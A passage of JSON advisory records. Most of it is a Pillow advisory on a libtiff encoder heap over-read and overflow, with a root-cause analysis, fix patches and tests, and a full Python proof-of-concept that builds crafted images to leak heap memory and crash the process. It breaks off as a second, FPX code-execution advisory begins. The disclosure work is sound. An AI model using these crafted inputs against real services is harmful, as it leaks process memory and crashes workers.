40832ee5527f0000` (x86-64 heap pointers), different on every run.\n- EXIF IFD0 `{256: 1\u003c\u003c27}` (ImageWidth=2^27): the process dies with SIGSEGV; gdb shows `TIFFWriteScanline (libtiff.so.6) ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1035) ← _encode (src/encode.c:139)`.\n- valgrind on the first case: `Invalid read of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode … Address is 0 bytes after a block of size 64 alloc'd at calloc by _setimage`.\n- Control: the same JPEG with an EXIF holding only `Software` produces a 64x4 `L` TIFF whose 256 pixel bytes are all 0x11.\n\nThe write variant needs nothing more than a well-formed 222-byte TIFF and the `exif=im.getexif()` idiom the project's own tests use (`Tests/test_file_tiff.py::test_exif`, `test_modify_exif`); the interpreter dies with glibc's `free(): invalid next size (fast)` (SIGABRT):\n\n```python\nfrom PIL import Image; import io\nb = io.BytesIO()\nImage.new(\"RGB\", (64, 4)).save(b, \"TIFF\", compression=\"tiff_lzw\", tiffinfo={274: 6, 317: 2})  # Orientation=6, Predictor=2\nim = Image.open(io.BytesIO(b.getvalue())); im.load()   # auto-transposed to 4x64; tag_v2/getexif() still say 64x4\nim.save(io.BytesIO(), \"TIFF\", exif=im.getexif())       # or tiffinfo=im.tag_v2\n```\n\nHere libtiff processes 192-byte rows (64 px × 3 samples) from the 12-byte buffer `_setimage` allocated for a 4-pixel RGB row, and `PredictorEncodeRow` rewrites the 180 heap bytes that follow it on each of 64 rows; valgrind on a `-g` build reports `Invalid write of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode (TiffDecode.c:1035) … Address is 0 bytes after a block of size 12 alloc'd … by _setimage (encode.c:293)`. `im.thumbnail((8, 8))` before the save instead of the Orientation tag reaches the same state, as does the purely programmatic `Image.new(\"RGB\", (128, 32)).save(fp, \"TIFF\", compression=\"tiff_lzw\", tiffinfo={256: 1024, 257: 128, 317: 2})` (SIGSEGV). For the source-IFD `SamplesPerPixel` route, a crafted \u003c2 KB palette `PX` TIFF with `Compression = LZW, Predictor = 2` kills the stock build on a bare `Image.open(f).save(out, \"TIFF\")`; with a predictor-less codec the same re-save returns normally with `width` bytes of heap per row encoded into the output.\n\n### Walk-through\n\n`_save` seeds the output IFD from the image and then copies the caller's tags over it:\n\n```python\n# src/PIL/TiffImagePlugin.py\n1746    libtiff = WRITE_LIBTIFF or compression != \"raw\"\n1749    ifd[PLANAR_CONFIGURATION] = 1\n1751    ifd[IMAGEWIDTH] = im.size[0]\n1752    ifd[IMAGELENGTH] = im.size[1]\n        …\n1757    elif \"exif\" in encoderinfo:\n1758        info = encoderinfo[\"exif\"]          # Image.Exif, or bytes → Exif\n        …\n1768    for key in info:\n            …\n1772            ifd[key] = info.get(key)            # 256/257/277/262/284/317 … overwrite the above\n```\n\nThe geometry is only partially re-asserted afterwards: `BITSPERSAMPLE` is always set, but `SAMPLESPERPIXEL` only for multi-band modes and `IMAGEWIDTH`/`IMAGELENGTH` never:\n\n```python\n1847    if bits != (1,):\n1848        ifd[BITSPERSAMPLE] = bits\n1849        if len(bits) != 1:\n1850            ifd[SAMPLESPERPIXEL] = len(bits)    # not reached for L, P, I, F, I;16 …\n1856    if PHOTOMETRIC_INTERPRETATION not in ifd:   # supplied value kept\n```\n\nIn the libtiff branch every IFD entry that is not block-listed — and, after the IFD, every entry of `supplied_tags` (the source file's `im.tag_v2`) not already present — becomes a `TIFFSetField` argument. The only tag pinned to the image's real value is `BITSPERSAMPLE`:\n\n```python\n1955        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n1959        for tag, value in itertools.chain(ifd.items(), supplied_tags.items()):\n            …\n1976            if tag not in atts and tag not in blocklist:\n                    …   atts[tag] = value\n2002        encoder = Image._getencoder(im.mode, \"libtiff\", a, encoderconfig)\n2003        encoder.setimage(im.im, (0, 0, *im.size))\n```\n\nFor the SamplesPerPixel=3 example the tag list passed to the encoder is `[(256, 64), (257, 4), (258, 8), (259, 5), (262, 2), (277, 3), (278, 4), (284, 1)]`; for the ImageWidth example it is `[(256, 134217728), (257, 4), (258, 8), …]`. 256 and 277 are in `core_tags` (`src/encode.c:694`), so `PyImaging_LibTiffEncoderNew` forwards them straight to `TIFFSetField`. For a single-band image `SAMPLESPERPIXEL` is absent from `ifd`, so the loop takes tag 277 from `supplied_tags` — the source TIFF's IFD — when one is present; the `PLANAR_CONFIGURATION == 2` adjustment at `:1783-1788` already compensates for this for separate-planes sources, the contiguous `PX` layout is the remaining case.\n\n`encoder.setimage` sizes the packer's row buffer from the real image — 64 bytes for a 64-pixel `L` row:\n\n```c\n/* src/encode.c, _setimage */\n287    if (state-\u003ebits \u003e 0) {\n291        state-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;\n293        state-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nand `ImagingLibTiffEncode` packs one image row into it and gives the pointer to libtiff with no length:\n\n```c\n/* src/libImaging/TiffDecode.c */\n1027        while (state-\u003ey \u003c state-\u003eysize) {\n1028            state-\u003eshuffle(state-\u003ebuffer, (UINT8 *)im-\u003eimage[state-\u003ey + state-\u003eyoff] + …, state-\u003exsize);\n1035            if (TIFFWriteScanline(tiff, (tdata_t)(state-\u003ebuffer), (uint32_t)state-\u003ey, 0) == -1) {\n```\n\n`TIFFWriteScanline` consumes `TIFFScanlineSize()` bytes, i.e. `ImageWidth * SamplesPerPixel * BitsPerSample / 8` as set through the tags. Nothing between `_save` and line 1035 compares that with `state-\u003ebytes`. With SamplesPerPixel=3 libtiff reads 192 bytes from the 64-byte block and LZW-encodes the trailing 128 heap bytes into the strip; with ImageWidth=2^27 it reads 128 MiB starting at the 64-byte block and faults. With `Predictor = 2`, libtiff's `PredictorEncodeRow` first runs horizontal differencing in place over the whole scanline (`bp[i] -= bp[i-stride]`), i.e. it rewrites the heap bytes that follow the block before encoding them; libtiff grows `ImageLength` as rows beyond the declared count are written, so every row of the real image goes through. A `PlanarConfiguration = 2` carried over from a planar source reaches libtiff by the same route; there libtiff's scanline (one sample plane) is shorter than Pillow's row, so the result is an undecodable file rather than an out-of-bounds access.\n\nThe non-libtiff path (`compression` absent/raw) is not affected: it goes through `ImagingRawEncode`, which treats the IFD-derived stride as padding and either zero-fills or fails with `IMAGING_CODEC_CONFIG` (`src/libImaging/RawEncode.c:34-37,57-59`). Overriding `IMAGEWIDTH`/`IMAGELENGTH` through `tiffinfo` on that path is an intended feature (`Tests/test_file_tiff.py::test_tiff_chunks`).\n\nThe `exif=` route was introduced in `c0f619384cbc` (\"Added \"exif\" keyword argument to save Image.Exif instance\", 2021-07-04), first released in 8.4.0. The same override through `tiffinfo=` is older: it dates back to `dbf47837ce99` (\"Add arbitrary tags to tiff images using an ImageFileDirectory\", 2013-10-02, first in 2.3.0). The stale-geometry-from-the-file-itself form dates from `1b70a4c6b515` (\"Use TIFF orientation\", 2019-09-13, first in 6.2.0), which added the transpose on load.\n\n## Impact\n\nAffected are applications that write TIFF output from user-supplied images through libtiff. Through the source-IFD `SamplesPerPixel` route nothing more is needed than `Image.open(f).save(out, \"TIFF\")` (format normalisation) on a crafted palette TIFF: `Compression`, `SamplesPerPixel` and `Predictor` are all inherited from the upload, so the uploader chooses between heap corruption / worker abort (`Predictor = 2`) and a normally-returning save whose output carries `width` bytes of the worker's heap per row. The `exif=` / `tiffinfo=` routes cover applications that convert to compressed TIFF while carrying the metadata across — `im.save(..., \"TIFF\", compression=\"tiff_lzw\"|\"tiff_adobe_deflate\"|\"packbits\"|\"jpeg\"|…, exif=im.getexif())`, `exif=im.info[\"exif\"]`, or `tiffinfo=` built from the source file's tags. Neither option is a default, but both are ordinary settings for archival/print/scan pipelines and the idiom used in Pillow's own tests. The uploader then chooses the outcome through a few EXIF shorts: a small `SamplesPerPixel` (with a matching `Photometric` so the result is a valid RGB/CMYK TIFF) returns `(spp-1) × width` bytes of process heap per image row inside the produced file — for a 4000-pixel-wide upload that is 8 KB of heap per row, megabytes per file, readable with any TIFF decoder and containing allocator metadata, pointers (ASLR defeat) and whatever other requests left in freed memory; a large `ImageWidth` kills the worker with SIGSEGV; `ImageWidth`/`ImageLength` larger than the (transposed or thumbnailed) image together with `Predictor = 2` writes `(declared_width − real_width) × bytes_per_pixel` bytes past a small fresh `calloc` block on every row — the values written are byte-wise differences of the existing heap contents, so the attacker controls extent and repetition but not directly the data; the observed result is heap corruption and abort of the whole worker, exploitation beyond that is not demonstrated. Because `ImageWidth`/`ImageLength` are routinely present in IFD0 of camera and scanner output, a benign photo that is resized before such a save also over-reads (its EXIF still describes the original width), so the crash variant can occur without an attacker.\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow and only its public API; no rebuild is needed. It runs in well under a second.\n\nIt builds the attacker's input in memory: a 64x4 JPEG in mode `L` with every pixel set to 0x11, plus a chosen set of EXIF IFD0 tags. It then runs the metadata-preserving conversion an application would do:\n\n```python\nim = Image.open(io.BytesIO(jpeg))\nim.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n```\n\nFinally it re-opens the TIFF that comes out. There are three cases:\n\n- **control**: the EXIF holds only `Software`. The output is a 64x4 `L` TIFF whose 256 bytes are all 0x11. The verdict can only be `BUG` if this holds.\n- **leak**: the EXIF holds `SamplesPerPixel=3, PhotometricInterpretation=RGB`. libtiff now treats each scanline as 192 bytes, but the row buffer only holds 64 bytes. The save still succeeds and the output is a 64x4 **`RGB`** TIFF. In each 192-byte row, the first 64 bytes are the image (0x11). The other 128 bytes are whatever sat in the heap after the 64-byte row buffer.\n  - The script hex-dumps row 0's extra bytes. They include x86-64 pointers such as `…e06c297e677f0000`, which change from run to run because of ASLR.\n  - It also counts the extra bytes that are neither 0x11 nor 0x00, since those could not have come from the image or from zero padding. On the stock build this is a few hundred of the 512 bytes (200–310 in our runs).\n- **crash**: the EXIF holds `ImageWidth=2**27`. The script re-runs itself as a child process (`repro crash`) with core dumps disabled. libtiff tries to read 128 MiB out of the 64-byte buffer, and the child dies with SIGSEGV (exit code -11).\n\nExpected output on the stock build (the heap bytes and the count vary):\n\n```\ncontrol: L (64, 4), all bytes 0x11: True\nleak:    RGB (64, 4)\n         first 64 bytes of each row are the image (0x11): True\n         row 0, bytes 64..192 (past the row buffer):\n           0000000000000000310000000000000090e5b50669550000e06c297e677f0000\n           0000000001007900007b8804d80c0d8830000000000000001007000000000000\n           0100000000000000801a897e677f0000240300000000000030444a7d677f0000\n           4095487d677f0000885f897e677f000003000001010000000000000000000000\n         220 of 512 bytes past the row buffers are neither 0x11 nor 0x00\ncrash:   child exit code -11 (SIGSEGV)\nBUG\n```\n\nThe last line is `BUG` if the control is clean and the leak case produced foreign bytes, the crash case died with SIGSEGV/SIGBUS, or both. Otherwise it is `OK`.\n\nWith either attached patch applied and rebuilt, the script prints:\n\n```\ncontrol: L (64, 4), all bytes 0x11: True\nleak:    output is not a readable image (no over-read)\ncrash:   child exit code 0 (no signal)\nOK\n```\n\nIn the leak case, the fixed build writes the image's real single sample per pixel but keeps the supplied `Photometric=RGB`. Pillow will not open a TIFF like that.\n\nThe out-of-bounds write variant is the three-line `Orientation=6, Predictor=2` snippet in Details (SIGABRT, `free(): invalid next size (fast)` on the stock build); for a file:line stack run it under valgrind on a `-g` build of the extensions.\n\n## Suggested fix\n\nTwo alternative patches are attached. Patch 2 is the Python-only subset of patch 1; patch 1 also hardens the C encoder.\n\n**Attached patch 1** (`src/PIL/TiffImagePlugin.py`, `src/libImaging/TiffDecode.c`) does two independent things:\n\n1. `src/PIL/TiffImagePlugin.py:1955` — the libtiff branch already pre-seeds `atts` with `BITSPERSAMPLE` so that no supplied tag can replace it. The patch extends that to the other tags that determine libtiff's scanline size, taken from the image being saved:\n\n```diff\n-        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n+        atts: dict[int, Any] = {\n+            BITSPERSAMPLE: bits[0],\n+            SAMPLESPERPIXEL: len(bits),\n+            IMAGEWIDTH: im.size[0],\n+            IMAGELENGTH: im.size[1],\n+            PLANAR_CONFIGURATION: 1,\n+        }\n```\n\n   Doing it here rather than in the IFD built at 1749–1772 leaves the raw-writer behaviour exercised by `test_tiff_chunks` untouched, and because the merge loop visits `ifd` and `supplied_tags` only for tags not already in `atts`, it closes the `exif=`, `tiffinfo=` and source-IFD (`im.tag_v2`) routes alike. A supplied `PHOTOMETRIC_INTERPRETATION` still reaches the file (so EXIF `{277:3, 262:2}` now yields a 1-sample \"RGB\" TIFF that Pillow refuses to open); whether to force it to the mode's value is a format decision that no longer affects memory safety. For the re-saved `PX` palette case it may also be worth dropping the source's `EXTRASAMPLES` from `supplied_tags` (meaningless once the extra channel was discarded on load), as is already done for the planar case at `:1783-1788`, so the output is a self-consistent 1-sample palette file.\n\n2. `src/libImaging/TiffDecode.c`, `ImagingLibTiffEncode` — before the scanline loop, it refuses any configuration in which libtiff would read more than the packer produced, so the encoder stays safe regardless of where tags come from:\n\n```c\n        if (TIFFScanlineSize64(tiff) \u003e (uint64_t)state-\u003ebytes) {\n            state-\u003eerrcode = IMAGING_CODEC_CONFIG;\n            ImagingLibTiffEncodeCleanup(state);\n            clientstate-\u003etiff = NULL;\n            if (!clientstate-\u003efp) {\n                free(clientstate-\u003edata);\n            }\n            return -1;\n        }\n```\n\n   The same cleanup is applied to the existing `TIFFWriteScanline` error path. For in-memory output, that path currently frees `clientstate-\u003edata` but leaves `clientstate-\u003etiff` set, so the later `ImagingLibTiffEncodeCleanup` → `TIFFClose` → `TIFFFlush` writes into the freed buffer. Both error paths now close the TIFF before the data is freed. The `TIFFFlush` failure branch further down (`src/libImaging/TiffDecode.c:1056`) has the same pattern and is left as it is.\n\n**Attached patch 2** (`src/PIL/TiffImagePlugin.py` only) is step 1 above without the C changes, for maintainers who prefer not to touch the encoder. It closes every public-API route (`exif=`, `tiffinfo=`, a resized or transposed image's carried-over EXIF/`tag_v2`) by which these tags reach `TIFFSetField`. `ImagingLibTiffEncode` still trusts its tag list, though, and the error-path use-after-free described above stays as it is.\n\nBoth patches add `Tests/test_file_libtiff.py::test_geometry_tags`, parametrised over oversized `IMAGEWIDTH`/`IMAGELENGTH`, `SAMPLESPERPIXEL=3` and `PLANAR_CONFIGURATION=2`. With either patch applied to a clean checkout and rebuilt, `repro` prints `OK`, the `Predictor = 2` snippet in Details saves a 4×64 image normally, and the existing TIFF test suites still pass.\n\n## The patch (1 of 2)\n\nTake libtiff scanline geometry tags from the image, not tiffinfo/exif, and make ImagingLibTiffEncode reject a scanline larger than its row buffer\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..36fe5f6b9 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):\n         with pytest.raises(ValueError, match=\"Incorrect tag value type\"):\n             im.save(out, tiffinfo=ifd)\n \n+    @pytest.mark.parametrize(\n+        \"tiffinfo\",\n+        (\n+            {TiffImagePlugin.IMAGEWIDTH: 1 \u003c\u003c 27},\n+            {TiffImagePlugin.IMAGELENGTH: 1 \u003c\u003c 27},\n+            {TiffImagePlugin.SAMPLESPERPIXEL: 3},\n+            {TiffImagePlugin.PLANAR_CONFIGURATION: 2},\n+        ),\n+    )\n+    def test_geometry_tags(\n+        self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n+    ) -\u003e None:\n+        # The geometry of the image is used, not the geometry from tiffinfo.\n+        # Otherwise libtiff would read past the end of the row buffer.\n+        monkeypatch.setattr(TiffImagePlugin, \"WRITE_LIBTIFF\", True)\n+\n+        out = tmp_path / \"temp.tif\"\n+        im = hopper(\"L\")\n+        im.save(out, tiffinfo=tiffinfo)\n+\n+        assert_image_equal_tofile(im, out)\n+\n     def test_inknames_tag(\n         self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n     ) -\u003e None:\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..aa0895966 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -\u003e None:\n         ]\n \n         # bits per sample is a single short in the tiff directory, not a list.\n-        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n+        # The tags that determine the size of a scanline are taken from the image,\n+        # not from tiffinfo/exif: libtiff reads a scanline of the size that they\n+        # describe from a buffer that holds one row of the image.\n+        atts: dict[int, Any] = {\n+            BITSPERSAMPLE: bits[0],\n+            SAMPLESPERPIXEL: len(bits),\n+            IMAGEWIDTH: im.size[0],\n+            IMAGELENGTH: im.size[1],\n+            PLANAR_CONFIGURATION: 1,\n+        }\n         # Merge the ones that we have with (optional) more bits from\n         # the original file, e.g x,y resolution so that we can\n         # save(load('')) == original file.\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..6570666fc 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -1023,6 +1023,23 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt\n     dump_state(clientstate);\n \n     if (state-\u003estate == 0) {\n+        // state-\u003ebuffer holds one row of the image, but TIFFWriteScanline reads\n+        // a scanline of the size described by the IMAGEWIDTH, SAMPLESPERPIXEL\n+        // and BITSPERSAMPLE tags, so these must not describe a larger row.\n+        if (TIFFScanlineSize64(tiff) \u003e (uint64_t)state-\u003ebytes) {\n+            TRACE((\"Scanline size exceeds the row buffer\\n\"));\n+            state-\u003eerrcode = IMAGING_CODEC_CONFIG;\n+\n+            // Closing the tiff flushes it into clientstate-\u003edata, so do that\n+            // before the data is freed, rather than in the encoder cleanup.\n+            ImagingLibTiffEncodeCleanup(state);\n+            clientstate-\u003etiff = NULL;\n+            if (!clientstate-\u003efp) {\n+                free(clientstate-\u003edata);\n+            }\n+            return -1;\n+        }\n+\n         TRACE((\"Encoding line by line\"));\n         while (state-\u003ey \u003c state-\u003eysize) {\n             state-\u003eshuffle(\n@@ -1038,10 +1055,9 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt\n                 TRACE((\"Encode Error, row %d\\n\", state-\u003ey));\n                 state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n \n-                if (clientstate-\u003efp) {\n-                    TIFFCleanup(tiff);\n-                    clientstate-\u003etiff = NULL;\n-                } else {\n+                ImagingLibTiffEncodeCleanup(state);\n+                clientstate-\u003etiff = NULL;\n+                if (!clientstate-\u003efp) {\n                     free(clientstate-\u003edata);\n                 }\n                 return -1;\n```\n\n## The patch (2 of 2)\n\nTake libtiff scanline geometry tags (width, length, samples per pixel, planar config) from the image being saved instead of tiffinfo/exif\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..36fe5f6b9 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):\n         with pytest.raises(ValueError, match=\"Incorrect tag value type\"):\n             im.save(out, tiffinfo=ifd)\n \n+    @pytest.mark.parametrize(\n+        \"tiffinfo\",\n+        (\n+            {TiffImagePlugin.IMAGEWIDTH: 1 \u003c\u003c 27},\n+            {TiffImagePlugin.IMAGELENGTH: 1 \u003c\u003c 27},\n+            {TiffImagePlugin.SAMPLESPERPIXEL: 3},\n+            {TiffImagePlugin.PLANAR_CONFIGURATION: 2},\n+        ),\n+    )\n+    def test_geometry_tags(\n+        self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n+    ) -\u003e None:\n+        # The geometry of the image is used, not the geometry from tiffinfo.\n+        # Otherwise libtiff would read past the end of the row buffer.\n+        monkeypatch.setattr(TiffImagePlugin, \"WRITE_LIBTIFF\", True)\n+\n+        out = tmp_path / \"temp.tif\"\n+        im = hopper(\"L\")\n+        im.save(out, tiffinfo=tiffinfo)\n+\n+        assert_image_equal_tofile(im, out)\n+\n     def test_inknames_tag(\n         self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n     ) -\u003e None:\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..aa0895966 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -\u003e None:\n         ]\n \n         # bits per sample is a single short in the tiff directory, not a list.\n-        atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n+        # The tags that determine the size of a scanline are taken from the image,\n+        # not from tiffinfo/exif: libtiff reads a scanline of the size that they\n+        # describe from a buffer that holds one row of the image.\n+        atts: dict[int, Any] = {\n+            BITSPERSAMPLE: bits[0],\n+            SAMPLESPERPIXEL: len(bits),\n+            IMAGEWIDTH: im.size[0],\n+            IMAGELENGTH: im.size[1],\n+            PLANAR_CONFIGURATION: 1,\n+        }\n         # Merge the ones that we have with (optional) more bits from\n         # the original file, e.g x,y resolution so that we can\n         # save(load('')) == original file.\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 4,352 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nHeap over-read in Pillow's libtiff encoder, driven by EXIF tags of an uploaded file.\n\nAn application converts an uploaded JPEG to compressed TIFF and keeps its metadata:\n\n    im.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n\nTiffImagePlugin._save forwards the EXIF's ImageWidth (256) / SamplesPerPixel (277) to\nlibtiff, so libtiff's scanline size follows the EXIF, while the row buffer that\nImagingLibTiffEncode hands to TIFFWriteScanline (src/libImaging/TiffDecode.c:1035) is\nsized from the real image (src/encode.c:291). libtiff reads past the end of it.\n\n  control  EXIF {Software}                       -\u003e 64x4 \"L\" TIFF, every byte 0x11\n  leak     EXIF {SamplesPerPixel=3, Photometric=RGB}\n                                                 -\u003e 64x4 \"RGB\" TIFF: 64 image bytes + 128\n                                                    bytes of process heap in every row\n  crash    EXIF {ImageWidth=2**27}               -\u003e libtiff reads 128 MiB from a 64-byte\n                                                    buffer: SIGSEGV\n\"\"\"\nimport io\nimport resource\nimport signal\nimport subprocess\nimport sys\n\nfrom PIL import Image, UnidentifiedImageError\n\nW, H, GREY = 64, 4, 0x11\n\n\ndef uploaded_jpeg(exif_tags):\n    \"\"\"The attacker's file: a 64x4 solid-grey JPEG whose EXIF IFD0 holds exif_tags.\"\"\"\n    exif = Image.Exif()\n    exif.update(exif_tags)\n    buf = io.BytesIO()\n    Image.new(\"L\", (W, H), GREY).save(buf, \"JPEG\", quality=100, exif=exif.tobytes())\n    return buf.getvalue()\n\n\ndef convert_to_tiff(jpeg):\n    \"\"\"The application: metadata-preserving conversion to LZW TIFF.\n\n    Returns the resulting TIFF re-opened, or None if Pillow cannot read it back.\"\"\"\n    im = Image.open(io.BytesIO(jpeg))\n    out = io.BytesIO()\n    im.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n    try:\n        return Image.open(out)\n    except UnidentifiedImageError:\n        return None\n\n\nif sys.argv[1:] == [\"crash\"]:\n    # Child process for the crash case (see the end of the script).\n    convert_to_tiff(uploaded_jpeg({256: 1 \u003c\u003c 27}))  # ImageWidth = 2**27\n    sys.exit(0)\n\n\n# --- Control: EXIF without geometry tags converts cleanly ----------------------------\ntiff = convert_to_tiff(uploaded_jpeg({305: \"control\"}))  # Software\ncontrol_clean = (tiff.mode, tiff.size) == (\"L\", (W, H)) and set(tiff.tobytes()) == {GREY}\nprint(f\"control: {tiff.mode} {tiff.size}, all bytes 0x{GREY:02x}: {control_clean}\")\n\n\n# --- Leak: EXIF says 3 samples per pixel, so libtiff reads 3*64 bytes per row --------\n# from the 64-byte row buffer. Everything past byte 64 of each row is not image data.\ntiff = convert_to_tiff(uploaded_jpeg({277: 3, 262: 2}))  # SamplesPerPixel, Photometric=RGB\nleaked = False\nif tiff is None:\n    # A fixed build writes the image's real 1 sample per pixel, and Pillow will not\n    # open a 1-sample \"RGB\" TIFF: nothing was read past the row buffer.\n    print(\"leak:    output is not a readable image (no over-read)\")\nelse:\n    pixels = tiff.tobytes()\n    row = W * 3\n    image_part = b\"\".join(pixels[y * row : y * row + W] for y in range(H))\n    beyond = b\"\".join(pixels[y * row + W : (y + 1) * row] for y in range(H))\n    # Bytes that are neither the image's grey nor zero padding can only be heap contents.\n    foreign = sum(b not in (GREY, 0) for b in beyond)\n    print(f\"leak:    {tiff.mode} {tiff.size}\")\n    print(f\"         first {W} bytes of each row are the image (0x{GREY:02x}): \"\n          f\"{set(image_part) == {GREY}}\")\n    print(f\"         row 0, bytes {W}..{row} (past the row buffer):\")\n    for i in range(W, row, 32):\n        print(\"           \" + pixels[i : i + 32].hex())\n    print(f\"         {foreign} of {len(beyond)} bytes past the row buffers are neither \"\n          f\"0x{GREY:02x} nor 0x00\")\n    leaked = foreign \u003e 0\n\n\n# --- Crash: EXIF says the image is 2**27 pixels wide ---------------------------------\nchild = subprocess.run(\n    [sys.executable, __file__, \"crash\"],\n    preexec_fn=lambda: resource.setrlimit(resource.RLIMIT_CORE, (0, 0)),  # no core file\n    capture_output=True,\n)\ncrashed = child.returncode in (-signal.SIGSEGV, -signal.SIGBUS)\noutcome = signal.Signals(-child.returncode).name if child.returncode \u003c 0 else \"no signal\"\nprint(f\"crash:   child exit code {child.returncode} ({outcome})\")\n\n\nprint(\"BUG\" if control_clean and (leaked or crashed) else \"OK\")\n```\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-11-12T23:34:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-xcvg-w56q-r89m","https://github.com/python-pillow/Pillow/commit/53318b50e8e9e85a57d033d4d879e1398d97aeb1","https://github.com/python-pillow/Pillow/commit/ec5f1cbcf67275641abaad5c065ffb64a0a804a9","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-xcvg-w56q-r89m"],"source_kind":"github","identifiers":["GHSA-xcvg-w56q-r89m","CVE-2026-128067"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-13T00:01:27.928Z","updated_at":"2026-12-03T11:00:40.904Z","epss_percentage":0.00477,"epss_percentile":0.42859,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y3ZnLXc1NnEtcjg5bc4ACCD9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Y3ZnLXc1NnEtcjg5bc4ACCD9","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y3ZnLXc1NnEtcjg5bc4ACCD9/related_packages","related_advisories":[{"uuid":"CVE-2026-128067","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/128xxx/CVE-2026-128067.json"},{"uuid":"UBUNTU-CVE-2026-128067","source_kind":"osv","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-128067"}]},{"uuid":"GSA_kwCzR0hTQS01eDh3LThqajUtcTUyaM4AB_RW","url":"https://github.com/advisories/GHSA-5x8w-8jj5-q52h","title":"Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution","description":"### Credits\n\n**Researcher**: Alex Bouffard (mixbo@pebwalker.com)\n\n### Summary\n\nA heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).\n\n### Details\n\n`FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.\n\n`Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.\n\nFor a JPEG-compressed subimage (`compression == 2`), the plugin builds a `\"jpeg\"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)):\n\n```python\nMODES = {\n    ...\n    (0x00018000, 0x00017FFE): (\"RGBA\", \"LA\"),                # rawmode \"LA\"  (2 bytes/pixel)\n    ...\n    (0x00020000, 0x00020001, 0x00020002): (\"RGB\", \"YCC;P\"),  # rawmode \"YCC;P\"\n}\n```\n\nThe Imaging output buffer for the tile is sized for the rawmode (here `\"LA\"` = 2 